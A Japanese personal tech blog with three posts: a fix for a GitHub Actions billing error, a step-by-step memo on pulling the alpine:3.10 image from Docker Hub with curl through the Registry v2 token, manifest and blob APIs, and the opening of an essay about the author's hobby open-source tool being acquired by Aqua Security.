knqyf263's blog

自分のためのメモとして残しておくためのブログ。

GitHub Actionsで支払いのエラーが出る場合

個人のリポジトリGitHub Actionsを使おうとしたら「Workflows can't be executed on this repository. Please check your payment method or billing status.」と出て使えませんでした。GitHub ActionsはFreeで使えるはずなのに何だろうとは思いつつ、未だにFreeユーザだし仕方ないかと諦めていました。ただやっぱり少しテストしたいときとかに不便過ぎる気持ちになったので直し方を調べました。細かい話ですが他にも困っている人がいそうなので一応書いておきます。

以下のページに行ってBillingの詳細を見ます。 https://github.com/settings/billing

すると以下のようにエラーが出ていることに気づきます。 f:id:knqyf263:20200112045420p:plain

元々学生プランにしていたからなのか理由はよくわかっていませんが、一度も有料ユーザになったことがないので登録していたクレジットカードの有効期限が切れたとかが原因ではなさそうです。このエラーが出たままだと動かないようなので、"update your payment method"を押してクレジットカードの情報を入力します。

f:id:knqyf263:20200112050157p:plain

入力後もやはりFreeのままなのですがエラーは消え、GitHub Actionsも動くようになりました。Freeユーザなのでクレジットカードの入力をせずにエラーを消す方法を探したのですが見つけられませんでした。

GitHub Proについて

そもそも有料ユーザになれば良いじゃないかという話なのですが、数年前までOSSとかにあまり縁がなかったので特に有料ユーザになりたいタイミングがありませんでした。しかし最近はOpen Source Engineerという肩書になったし良い機会かなと思ったのですが、基本全部publicリポジトリなのでやはりメリットが感じられず。応援の意味でも良いのですが今はMicrosoftがいるし...などと思ってしまっています。どうでも良いですが自分は日本の漫画業界を応援しているのであまり読まない雑誌も含め片っ端から定期購読しています。スピリッツはお願いなので早く定期購読を始めて下さい。Kindleでいちいち買うのは大変なのです。 GitHub Proはこんなメリットがあるからなったほうが良いぞ!というのがあれば教えて貰えると助かります。

curlでdocker pullをする

コンテナレジストリからイメージをpullする時にcurlで行えたら便利なのになと思うことが誰しもあると思います。自分は2ヶ月に1回ぐらいそういう時がやってくるのですが、大体やり方を忘れていて非常に時間を無駄にしていることに気づいてしまったのでメモを残しておきます。

コマンド

このあと細かく説明を書いていますが、自分で備忘録的に見返すことが多いのでコマンドだけ先に書いておきます。以下はalpine:3.10を操作する例です。

Bearerトークン取得

$ export TOKEN=$(curl "https://auth.docker.io/token?service=registry.docker.io&scope=repository:library/alpine:pull" | jq -r '.token')

マニフェストファイル取得

上のBearerトークン取得後に以下を実行。v2のスキーマが欲しい場合はAcceptヘッダが重要。

$ curl -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/manifests/3.10

Configファイル取得

historyとか色々載ってるやつ

$ export IMAGE_ID=$(curl -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/manifests/3.10 | jq -r .config.digest)
$ curl -L -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/blobs/$IMAGE_ID

Layer取得

以下は1つめのLayerをダウンロードする例

$ export LAYER_ID=$(curl -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/manifests/3.10 | jq -r '.layers[0].digest')
$ curl -L -o layer.tar.gz -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/blobs/$LAYER_ID

Docker Registry v2

とりあえず挙動を確認したいことが多いので、Docker Hubでのやり方だけ書いておきます。気が向いたら他のレジストリも書くかもしれません。

Docker Registry v2の認証の仕組みは以下に書いてあります。

docs.docker.com

上の図をふわっと要約すると以下のような流れです

  1. まずレジストリにpush/pullを試みます
  2. レジストリが認可を必要とする場合は、認証の方法とともに401を返してきます
  3. Bearerトークンを得るために指定された認可サービスに対してリクエストを送ります
  4. 認可サービスはBearerトークンを返します
  5. そのBearerトークンをAuthorizationヘッダに埋め込んで再度レジストリにリクエストを送ります
  6. レジストリはBearerトークンを見て検証を行い、push/pullを開始します

ということでやってみます。仕様の解説をしたいわけではないので説明とかオプションとかはちょくちょく省いてます。単にcurlを使ってdocker pullしてみるという話です。

レジストリへのpush/pull

レジストリにある各イメージはマニフェストファイルというものを持っているので、それをダウンロードしてみます。 以下ではalpine:3.10のイメージに対して操作を行います。他のイメージの場合も流れは基本同じです。公式イメージであればalpineの部分を他のイメージ名に差し替えればよいですし、独自のイメージであればlibrary/alpineの部分をorg_name/image_nameに差し替えて下さい。

$ curl -v https://registry-1.docker.io/v2/library/alpine/manifests/3.10

レジストリが401を返す

上のコマンドを打つと以下のようなレスポンスが返ってきます

< HTTP/1.1 401 Unauthorized
< Content-Type: application/json
< Docker-Distribution-Api-Version: registry/2.0
< Www-Authenticate: Bearer realm="https://auth.docker.io/token",service="registry.docker.io",scope="repository:library/alpine:pull"
< Date: Thu, 28 Nov 2019 18:31:35 GMT
< Content-Length: 157
< Strict-Transport-Security: max-age=31536000
<
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"repository","Class":"","Name":"library/alpine","Action":"pull"}]}]}

このように401エラーが返ってきていることが分かります。ヘッダを見ると以下のようなWww-Authenticateヘッダが含まれています。

Www-Authenticate: Bearer realm="https://auth.docker.io/token",service="registry.docker.io",scope="repository:library/alpine:pull"

https://auth.docker.io/token にserviceとscopeを指定してリクエストしろということみたいです。

認可サービスに対してBearerトークンを要求

service="registry.docker.io",scope="repository:library/alpine:pull"を付けろという話だったので、GETのクエリパラメータとして追加し、auth.docker.io にリクエストを投げます。この際、alpineはパブリックイメージなので特に認証は不要です。プライベートイメージを操作したい場合はユーザIDとパスワードをBasic認証する必要があるので、 -u $USER:$PASS が必要です。他にもOAuth2でも認証可能みたいですが自分はやったことはないです。

$ curl "https://auth.docker.io/token?service=registry.docker.io&scope=repository:library/alpine:pull"

認可サービスがBearerトークンを返却

$ curl "https://auth.docker.io/token?service=registry.docker.io&scope=repository:library/alpine:pull" | jq .
{
  "token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsIng1YyI6WyJNSUlDK2pDQ0FwK2dBd0lCQWdJQkFEQUtCZ2dxaGtqT1BRUURBakJHTVVRd1FnWURWUVFERXpzeVYwNVpPbFZMUzFJNlJFMUVVanBTU1U5Rk9reEhOa0U2UTFWWVZEcE5SbFZNT2tZelNFVTZOVkF5VlRwTFNqTkdPa05CTmxrNlNrbEVVVEFlRncweE9UQXhNVEl3TURJeU5EVmFGdzB5TURBeE1USXdNREl5TkRWYU1FWXhSREJDQmdOVkJBTVRPMUpMTkZNNlMwRkxVVHBEV0RWRk9rRTJSMVE2VTBwTVR6cFFNbEpMT2tOWlZVUTZTMEpEU0RwWFNVeE1Pa3hUU2xrNldscFFVVHBaVWxsRU1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBcjY2bXkveXpHN21VUzF3eFQ3dFplS2pqRzcvNnBwZFNMY3JCcko5VytwcndzMGtIUDVwUHRkMUpkcFdEWU1OZWdqQXhpUWtRUUNvd25IUnN2ODVUalBUdE5wUkdKVTRkeHJkeXBvWGc4TVhYUEUzL2lRbHhPS2VNU0prNlRKbG5wNGFtWVBHQlhuQXRoQzJtTlR5ak1zdFh2ZmNWN3VFYWpRcnlOVUcyUVdXQ1k1Ujl0a2k5ZG54Z3dCSEF6bG8wTzJCczFmcm5JbmJxaCtic3ZSZ1FxU3BrMWhxYnhSU3AyRlNrL2tBL1gyeUFxZzJQSUJxWFFMaTVQQ3krWERYZElJczV6VG9ZbWJUK0pmbnZaMzRLcG5mSkpNalpIRW4xUVJtQldOZXJZcVdtNVhkQVhUMUJrQU9aditMNFVwSTk3NFZFZ2ppY1JINVdBeWV4b1BFclRRSURBUUFCbzRHeU1JR3ZNQTRHQTFVZER3RUIvd1FFQXdJSGdEQVBCZ05WSFNVRUNEQUdCZ1JWSFNVQU1FUUdBMVVkRGdROUJEdFNTelJUT2t0QlMxRTZRMWcxUlRwQk5rZFVPbE5LVEU4NlVESlNTenBEV1ZWRU9rdENRMGc2VjBsTVREcE1VMHBaT2xwYVVGRTZXVkpaUkRCR0JnTlZIU01FUHpBOWdEc3lWMDVaT2xWTFMxSTZSRTFFVWpwU1NVOUZPa3hITmtFNlExVllWRHBOUmxWTU9rWXpTRVU2TlZBeVZUcExTak5HT2tOQk5sazZTa2xFVVRBS0JnZ3Foa2pPUFFRREFnTkpBREJHQWlFQXFOSXEwMFdZTmM5Z2tDZGdSUzRSWUhtNTRZcDBTa05Rd2lyMm5hSWtGd3dDSVFEMjlYdUl5TmpTa1cvWmpQaFlWWFB6QW9TNFVkRXNvUUhyUVZHMDd1N3ZsUT09Il19.eyJhY2Nlc3MiOlt7InR5cGUiOiJyZXBvc2l0b3J5IiwibmFtZSI6ImxpYnJhcnkvYWxwaW5lIiwiYWN0aW9ucyI6WyJwdWxsIl19XSwiYXVkIjoicmVnaXN0cnkuZG9ja2VyLmlvIiwiZXhwIjoxNTc0OTY5MTI4LCJpYXQiOjE1NzQ5Njg4MjgsImlzcyI6ImF1dGguZG9ja2VyLmlvIiwianRpIjoiNXRlVzl6bktuby1CR3Vad1c1aTYiLCJuYmYiOjE1NzQ5Njg1MjgsInN1YiI6IiJ9.rjvWkJSKgw9f6_-kE4kcsYHDUEwVvIE-FeBkdDSG9ExBtYp9YK5hKIsOSlIEfGzsLFgWpEXtRV4h4FwP0jQ6BDCVHKvyQdhtnSm4Ad3BIcMFX87DgnGbYfboOzo9INpeCsMa8Hy44VH_4RbtdBVb7MYN1pFMN8za3cNYt-AF0YWsp7L86HWzJ4-Tp4-WS0JXT3fvQlevoYVrWNr7Nrl15aVx16_RT9S4Vhmrbc30vrNHzwOh9vEk6VLvxZiro8RiGdPgnXWMsplmTZNTkHygT5N8MEBcyEJNsvWKLcbPtEU5lk4ZMTRoyVKeIT8LyNXAWu_KATTIXXl1hHrENEcBsw",
  "access_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsIng1YyI6WyJNSUlDK2pDQ0FwK2dBd0lCQWdJQkFEQUtCZ2dxaGtqT1BRUURBakJHTVVRd1FnWURWUVFERXpzeVYwNVpPbFZMUzFJNlJFMUVVanBTU1U5Rk9reEhOa0U2UTFWWVZEcE5SbFZNT2tZelNFVTZOVkF5VlRwTFNqTkdPa05CTmxrNlNrbEVVVEFlRncweE9UQXhNVEl3TURJeU5EVmFGdzB5TURBeE1USXdNREl5TkRWYU1FWXhSREJDQmdOVkJBTVRPMUpMTkZNNlMwRkxVVHBEV0RWRk9rRTJSMVE2VTBwTVR6cFFNbEpMT2tOWlZVUTZTMEpEU0RwWFNVeE1Pa3hUU2xrNldscFFVVHBaVWxsRU1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBcjY2bXkveXpHN21VUzF3eFQ3dFplS2pqRzcvNnBwZFNMY3JCcko5VytwcndzMGtIUDVwUHRkMUpkcFdEWU1OZWdqQXhpUWtRUUNvd25IUnN2ODVUalBUdE5wUkdKVTRkeHJkeXBvWGc4TVhYUEUzL2lRbHhPS2VNU0prNlRKbG5wNGFtWVBHQlhuQXRoQzJtTlR5ak1zdFh2ZmNWN3VFYWpRcnlOVUcyUVdXQ1k1Ujl0a2k5ZG54Z3dCSEF6bG8wTzJCczFmcm5JbmJxaCtic3ZSZ1FxU3BrMWhxYnhSU3AyRlNrL2tBL1gyeUFxZzJQSUJxWFFMaTVQQ3krWERYZElJczV6VG9ZbWJUK0pmbnZaMzRLcG5mSkpNalpIRW4xUVJtQldOZXJZcVdtNVhkQVhUMUJrQU9aditMNFVwSTk3NFZFZ2ppY1JINVdBeWV4b1BFclRRSURBUUFCbzRHeU1JR3ZNQTRHQTFVZER3RUIvd1FFQXdJSGdEQVBCZ05WSFNVRUNEQUdCZ1JWSFNVQU1FUUdBMVVkRGdROUJEdFNTelJUT2t0QlMxRTZRMWcxUlRwQk5rZFVPbE5LVEU4NlVESlNTenBEV1ZWRU9rdENRMGc2VjBsTVREcE1VMHBaT2xwYVVGRTZXVkpaUkRCR0JnTlZIU01FUHpBOWdEc3lWMDVaT2xWTFMxSTZSRTFFVWpwU1NVOUZPa3hITmtFNlExVllWRHBOUmxWTU9rWXpTRVU2TlZBeVZUcExTak5HT2tOQk5sazZTa2xFVVRBS0JnZ3Foa2pPUFFRREFnTkpBREJHQWlFQXFOSXEwMFdZTmM5Z2tDZGdSUzRSWUhtNTRZcDBTa05Rd2lyMm5hSWtGd3dDSVFEMjlYdUl5TmpTa1cvWmpQaFlWWFB6QW9TNFVkRXNvUUhyUVZHMDd1N3ZsUT09Il19.eyJhY2Nlc3MiOlt7InR5cGUiOiJyZXBvc2l0b3J5IiwibmFtZSI6ImxpYnJhcnkvYWxwaW5lIiwiYWN0aW9ucyI6WyJwdWxsIl19XSwiYXVkIjoicmVnaXN0cnkuZG9ja2VyLmlvIiwiZXhwIjoxNTc0OTY5MTI4LCJpYXQiOjE1NzQ5Njg4MjgsImlzcyI6ImF1dGguZG9ja2VyLmlvIiwianRpIjoiNXRlVzl6bktuby1CR3Vad1c1aTYiLCJuYmYiOjE1NzQ5Njg1MjgsInN1YiI6IiJ9.rjvWkJSKgw9f6_-kE4kcsYHDUEwVvIE-FeBkdDSG9ExBtYp9YK5hKIsOSlIEfGzsLFgWpEXtRV4h4FwP0jQ6BDCVHKvyQdhtnSm4Ad3BIcMFX87DgnGbYfboOzo9INpeCsMa8Hy44VH_4RbtdBVb7MYN1pFMN8za3cNYt-AF0YWsp7L86HWzJ4-Tp4-WS0JXT3fvQlevoYVrWNr7Nrl15aVx16_RT9S4Vhmrbc30vrNHzwOh9vEk6VLvxZiro8RiGdPgnXWMsplmTZNTkHygT5N8MEBcyEJNsvWKLcbPtEU5lk4ZMTRoyVKeIT8LyNXAWu_KATTIXXl1hHrENEcBsw",
  "expires_in": 300,
  "issued_at": "2019-11-28T19:20:28.603403106Z"
}

上記のようなレスポンスを得ます。token, access_token, expires_in, issued_atがありますが、とりあえずtokenがBearerトークンになっているのでこれだけ取っておけば良いです。細かく知りたい人は以下を呼んで下さい。

Token Authentication Specification | Docker Documentation

いちいち手で取得するのも面倒なので、jqを使って環境変数に入れておきます。

$ export TOKEN=$(curl "https://auth.docker.io/token?service=registry.docker.io&scope=repository:library/alpine:pull" | jq -r '.token')

ちなみにBearerトークンのexpires_inは300と書いており5分しか有効ではないため、401が出るようになったら再度上のコマンドを打ってBearerトークンを更新する必要があります。

Bearerトークンを使ってレジストリにリクエストを送信

あとはAuthorizationヘッダに上のBearerトークンを入れるだけです。今度こそマニフェストファイルを取得してみます。

$ curl -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/manifests/3.10
{
   "schemaVersion": 1,
   "name": "library/alpine",
   "tag": "3.10",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:89d9c30c1d48bac627e5c6cb0d1ed1eec28e7dbdfbcc04712e4c79c0f83faf17"
      }
   ],
   "history": [
      {
         "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:e8bf85e28fac8a4cd1707985780af20622f0f5de7d6c912ea1dc82a626981cb0\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container\":\"baae288169b1ae2f6bd82e7b605d8eb35a79e846385800e305eccc55b9bd5986\",\"container_config\":{\"Hostname\":\"baae288169b1\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) \",\"CMD [\\\"/bin/sh\\\"]\"],\"ArgsEscaped\":true,\"Image\":\"sha256:e8bf85e28fac8a4cd1707985780af20622f0f5de7d6c912ea1dc82a626981cb0\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"created\":\"2019-10-21T17:21:42.387111039Z\",\"docker_version\":\"18.06.1-ce\",\"id\":\"66a1145c315c6751d846723eb45515a780f1658f77dad2eb318b497d0da6b01a\",\"os\":\"linux\",\"parent\":\"3096cc24d0eb306b978ec89242e14a6285b20272f98feaae7327b34fb70bf400\",\"throwaway\":true}"
      },
      {
         "v1Compatibility": "{\"id\":\"3096cc24d0eb306b978ec89242e14a6285b20272f98feaae7327b34fb70bf400\",\"created\":\"2019-10-21T17:21:42.078618181Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:fe1f09249227e2da2089afb4d07e16cbf832eeb804120074acd2b8192876cd28 in / \"]}}"
      }
   ],
   "signatures": [
      {
         "header": {
            "jwk": {
               "crv": "P-256",
               "kid": "H67G:5NV2:2QJK:NNMD:SAEE:N56S:JDRH:XDSX:ON5Y:WM6G:HHYQ:RANM",
               "kty": "EC",
               "x": "4TjKKDnLECLUP_NjC3U4z1-ePiAyQSVz1FFKgVNwhgk",
               "y": "tkdpqye8X9jwqAcN3_aSr56QOTEJg6flURPbqA3Dbmg"
            },
            "alg": "ES256"
         },
         "signature": "PL-llANjJFNRBZ7_hEtra4NXJ8s4pgY_MP4wpCjDs8CsqPDVf8Kp4eGjE56ejvnrFzcjsCwbxkE8uRcxLMJU3A",
         "protected": "eyJmb3JtYXRMZW5ndGgiOjIxMzksImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAxOS0xMS0yOFQxOTozMDozNVoifQ"
      }
   ]
}

ということで取得できたのですが、実はこれは罠でv1のSchemaになっています。

docs.docker.com

単に自分が無知だっただけで罠でも何でもないのですが、v2のSchemaを得るためにはAcceptヘッダが必要でした。何も指定しないと "application/vnd.docker.distribution.manifest.v1+json" 相当になるようです。以下のページでMedia Typeについて記載がありますが、とりあえず "application/vnd.docker.distribution.manifest.v2+json"辺りを付けておくと良さそうです。

docs.docker.com

$ curl -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/manifests/3.10
{
   "schemaVersion": 2,
   "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
   "config": {
      "mediaType": "application/vnd.docker.container.image.v1+json",
      "size": 1512,
      "digest": "sha256:965ea09ff2ebd2b9eeec88cd822ce156f6674c7e99be082c7efac3c62f3ff652"
   },
   "layers": [
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 2787134,
         "digest": "sha256:89d9c30c1d48bac627e5c6cb0d1ed1eec28e7dbdfbcc04712e4c79c0f83faf17"
      }
   ]
}

ということでv2のschemaを得ました。

Configファイルを取得する

上のマニフェスト内にdigestというkeyがあります。こいつがイメージのID相当のやつのはずです。レジストリでは実際のファイルなどはblobとして管理されているので、Configファイルをダウンロードする際にもblobのAPIを叩く必要があります。

docs.docker.com

これも手で取得するのは面倒なのでjqを使います。

$ export IMAGE_ID=$(curl -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/manifests/3.10 | jq -r .config.digest)

blobを取得します。

$ curl -v -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/blobs/$IMAGE_ID
< HTTP/1.1 307 Temporary Redirect
< Content-Type: application/octet-stream
< Docker-Distribution-Api-Version: registry/2.0
< Location: https://production.cloudflare.docker.com/registry-v2/docker/registry/v2/blobs/sha256/96/965ea09ff2ebd2b9eeec88cd822ce156f6674c7e99be082c7efac3c62f3ff652/data?verify=1574972987-k95e45HTysMmwaTRSq%2FAkptLEII%3D
< Date: Thu, 28 Nov 2019 19:39:47 GMT
< Content-Length: 0
< Strict-Transport-Security: max-age=31536000

リダイレクトされます。上記のLocationヘッダのURLに自分でアクセスしても良いですし、curlの-Lオプションを使ってcurlでリダイレクト先にアクセスしても良いです。

$ curl -L -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/blobs/$IMAGE_ID | jq .
{
  "architecture": "amd64",
  "config": {
    "Hostname": "",
    "Domainname": "",
    "User": "",
    "AttachStdin": false,
    "AttachStdout": false,
    "AttachStderr": false,
    "Tty": false,
    "OpenStdin": false,
    "StdinOnce": false,
    "Env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    ],
    "Cmd": [
      "/bin/sh"
    ],
    "ArgsEscaped": true,
    "Image": "sha256:e8bf85e28fac8a4cd1707985780af20622f0f5de7d6c912ea1dc82a626981cb0",
    "Volumes": null,
    "WorkingDir": "",
    "Entrypoint": null,
    "OnBuild": null,
    "Labels": null
  },
  "container": "baae288169b1ae2f6bd82e7b605d8eb35a79e846385800e305eccc55b9bd5986",
  "container_config": {
    "Hostname": "baae288169b1",
    "Domainname": "",
    "User": "",
    "AttachStdin": false,
    "AttachStdout": false,
    "AttachStderr": false,
    "Tty": false,
    "OpenStdin": false,
    "StdinOnce": false,
    "Env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    ],
    "Cmd": [
      "/bin/sh",
      "-c",
      "#(nop) ",
      "CMD [\"/bin/sh\"]"
    ],
    "ArgsEscaped": true,
    "Image": "sha256:e8bf85e28fac8a4cd1707985780af20622f0f5de7d6c912ea1dc82a626981cb0",
    "Volumes": null,
    "WorkingDir": "",
    "Entrypoint": null,
    "OnBuild": null,
    "Labels": {}
  },
  "created": "2019-10-21T17:21:42.387111039Z",
  "docker_version": "18.06.1-ce",
  "history": [
    {
      "created": "2019-10-21T17:21:42.078618181Z",
      "created_by": "/bin/sh -c #(nop) ADD file:fe1f09249227e2da2089afb4d07e16cbf832eeb804120074acd2b8192876cd28 in / "
    },
    {
      "created": "2019-10-21T17:21:42.387111039Z",
      "created_by": "/bin/sh -c #(nop)  CMD [\"/bin/sh\"]",
      "empty_layer": true
    }
  ],
  "os": "linux",
  "rootfs": {
    "type": "layers",
    "diff_ids": [
      "sha256:77cae8ab23bf486355d1b3191259705374f4a11d483b24964d2f729dd8c076a0"
    ]
  }
}

ということでConfigファイルを得ました。ちなみにこのConfigファイルのハッシュ値がイメージのIDになっています。

$ echo $IMAGE_ID
sha256:965ea09ff2ebd2b9eeec88cd822ce156f6674c7e99be082c7efac3c62f3ff652
$ curl -L -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/blobs/$IMAGE_ID > alpine-310.json
$ sha256sum alpine-310.json
965ea09ff2ebd2b9eeec88cd822ce156f6674c7e99be082c7efac3c62f3ff652  alpine-310.json

そして余談ですが、全く同じDockerfileをキャッシュを使わずに2回ビルドすると異なるイメージIDになりますが、上記Configのhistoryなどにcreated_byなどの時刻が含まれており、時刻は当然ビルドするたびに変わるためハッシュ値が変化し結果としてイメージIDも変わります。

Layerのダウンロード

では実際にレイヤーをダウンロードしてみます。 先程のマニフェスト内にLayerのIDが書いてあるので、まずそちらを再度取得します。

$ curl -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/manifests/3.10 |  jq '.layers[].digest'
"sha256:89d9c30c1d48bac627e5c6cb0d1ed1eec28e7dbdfbcc04712e4c79c0f83faf17"

今回は一つしかないですが、複数のLayerで構成されているイメージの場合はこれが複数になります。あとはこのIDをblobsにくっつけてリクエストするだけです。圧縮されているので、tar.gzで降ってきます。 マニフェストファイルにはMedia Typeが"application/vnd.docker.image.rootfs.diff.tar.gzip"と書いてあるので、ヘッダにつけておいたほうが無難な気もしますがDocker Hubでは指定しなくても同じファイルでした。違うレジストリだとまた異なる挙動かもしれません。

$ curl -L -o layer.tar.gz -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/blobs/sha256:89d9c30c1d48bac627e5c6cb0d1ed1eec28e7dbdfbcc04712e4c79c0f83faf17

解凍してみます。

$ tar zxvf layer.tar.gz 
x bin/
x bin/arch
x bin/ash
x bin/base64
x bin/bbconfig
...

ということでLayerに含まれるファイルを手に入れることができました。Layerが複数ある場合はもちろん並列に取得も可能です。

参考

まとめ

普段docker pullとかしていてもあまり裏側の通信がどうなってるか意識することは少ないですが、curlを使って自分で簡易的に再現してみると理解が深まるかもしれません。

趣味で作ったソフトウェアが海外企業に買われるまでの話

今回はソフトウェアエンジニアじゃない人や学生にも、ソフトウェアエンジニアという職業には夢があるかもしれないと思ってもらうために書いています。そのため既に詳しい方からすると回りくどい説明も多いと思いますがご容赦下さい。

基本的に記事とかには技術的なことしか書かないスタンスでやってきましたが、今回の件はさすがに誰かに伝えておくべきだろうということで長々と垂れ流しました。

概要

GW中に趣味で開発したソフトウェアを無料で公開したところAqua Securityという海外企業(アメリカとイスラエルが本社)から買収の申し出を受け、最終的に譲渡したという話です。さらに譲渡するだけでなく、Aqua Securityの社員として雇われて自分のソフトウェア開発を続けることになっています。つまり趣味でやっていたことを仕事として続けるということになります。

少なくとも自分の知る限り一個人で開発していたソフトウェアが企業に買収されるというのは頻繁に起こるものではないので、せっかくなので経緯をまとめておきます。自分みたいな特に取り柄もないソフトウェアエンジニアがこういう機会を貰えたのは、正直運によるところが大きいと感じています。ですが逆に言えば誰にでもチャンスがあるかもしれないと思ったので、誰かに夢や希望を与えられるかもしれないと思って書きました。

買収と言うと大きなお金を貰ったと思われがちですが、残念ながら受け取ったお金は億単位とかではないのでそういう点では夢がないかもしれないです。どちらかと言うと好き勝手やってただけなのにこんなに楽しい経験ができるよ、という方向性の話になります。そういうものに興味がある人は面白い話だと思います。

細かく書いてたら長くなったので、ソフトウェアエンジニアという職種に興味のある学生や、趣味で何かしら開発していきたい人や、趣味でやっていることが仕事になったら良いなと思っている人だけ読んでもらえればと思います。

はじめに

自分は普通に大学を出て普通に企業に就職してIT企業で働いています。上ではソフトウェアエンジニアと書きましたが、実際にはセキュリティエンジニアです。なので基本的に業務ではセキュリティに関することをやっているのですが、プログラムを書く機会もあります。また、エンジニアの中には一定数存在すると思いますが、そもそもパソコンを触るのが好きなので休日でもプログラムを書いたりサーバいじったりしています。とはいえ全てを捧げるほどずっとやっているかと言うとそうでもありません。運動したり漫画読んだり二郎食べたりとか割と忙しくしています。ここは大事なので最初に説明しておきます。

オープンソースソフトウェア(OSS

休日に書いたプログラムとはいえ、良いものが出来たと思ったら他の人にも使ってもらいたいことがあります。そういう場合には最近だとオープンソースソフトウェア(OSS)としてインターネット上に公開されることが多くなっています。ソースコード(コンピュータ言語で書かれたプログラムの設計図とか呼ばれるやつ)をそのまま公開してしまって無料で誰でも使えるようにします。OSSの定義は厳密には「自由な再頒布」とか「派生物の自由な利用」とか色々ありますが、とりあえずは成果物を公開して誰でも使えるようにするし、さらに言えば誰でもいじれるようにするぐらいの認識で良いと思います。細かく知りたい人は色々調べてみて下さい。

ja.wikipedia.org

そして、GitHubというOSSを公開するためのWebサイトが有り、世界中で広く使われています。

github.com

また、個人だけではなく企業も利用しています。GoogleMicrosoftFacebookOSSとしていくつものソフトウェアを公開しています。会社で作った利益を生み出す製品の設計図を公開して良いの?という話もありますが、これはIT業界の面白いところだと思います。公開できる部分だけ公開している企業もいれば、OSSの使い方サポートとしてお金を貰ったりする場合もあります。いずれにせよ、そのように世の中に還元するという姿勢がプログラマーたちからは評価され信頼に繋がり、ひいては売上につながったりするということが業界では認知されつつあります。もちろん無料で使えるんだからお金払わなくていいじゃんとなってしまうケースも有るため、必ずしもOSSにすることでうまくいくとは限りません。というか日本だと特にうまく行っているケースが少ない気もしています。今後どういう風になっていくのか分かりませんが、面白い業界だなと思っています。

さらに面白いのは、ソースコードが公開されているためコピーして自分で修正することも可能です。さらにコピーを修正するだけではなく、修正したからオリジナルに取り込んで欲しい、というリクエストを出すことも可能です。つまり、Facebookと何も関係ない人がFacebookOSS修正を手伝うことが出来ます。そんなことして何になるんだという話もありますが、これはFacebookが良いプログラムを公開してくれたのでそのお礼、みたいな意味合いが強いと個人的には思っています。もちろんオリジナルが変更されていくとコピーが追従するのが難しくなるのでオリジナルに取り込まれる方が将来を考えると良いというメリットもあるのですが、少なくとも自分はそれ以上に感謝の気持ちで修正を手伝っています。

話を戻します。GitHub上ではアカウント作成すると自分用のページが作られます。そこで自分の作った好きなプログラムを公開することが出来ます。GitHubでは1つのプログラム置き場のことをリポジトリと呼びますが、そのリポジトリ一覧は自分の場合だと以下になります。

knqyf263 (Teppei Fukuda) / Repositories · GitHub

ここで好きなリポジトリを自分で作って公開しておけば誰でも閲覧・利用ができます。これだけで立派なOSS活動です。

趣味としてのOSS

自分も趣味で作ったソフトウェアはGitHub上で公開しています。誰かに使ってもらおうとか思っていなくても、自分のために作っていたら結構いい感じになったからせっかくだし公開しようとか、理由は何でも良いと思います。そんなに崇高な理由じゃなくて良いです。しかもお金貰っているわけでもないのでクオリティが低くても誰にも怒られないです。何でも良いからまずは公開してみると良いんじゃないかと思っています。

自分の場合は大体何か不満があって、それを改善するためのものを作ったから公開する、という感じが多いです。日頃から不満を溜めてる人のほうがアイディア出てきやすいんじゃないかなーとか勝手に思ってます。

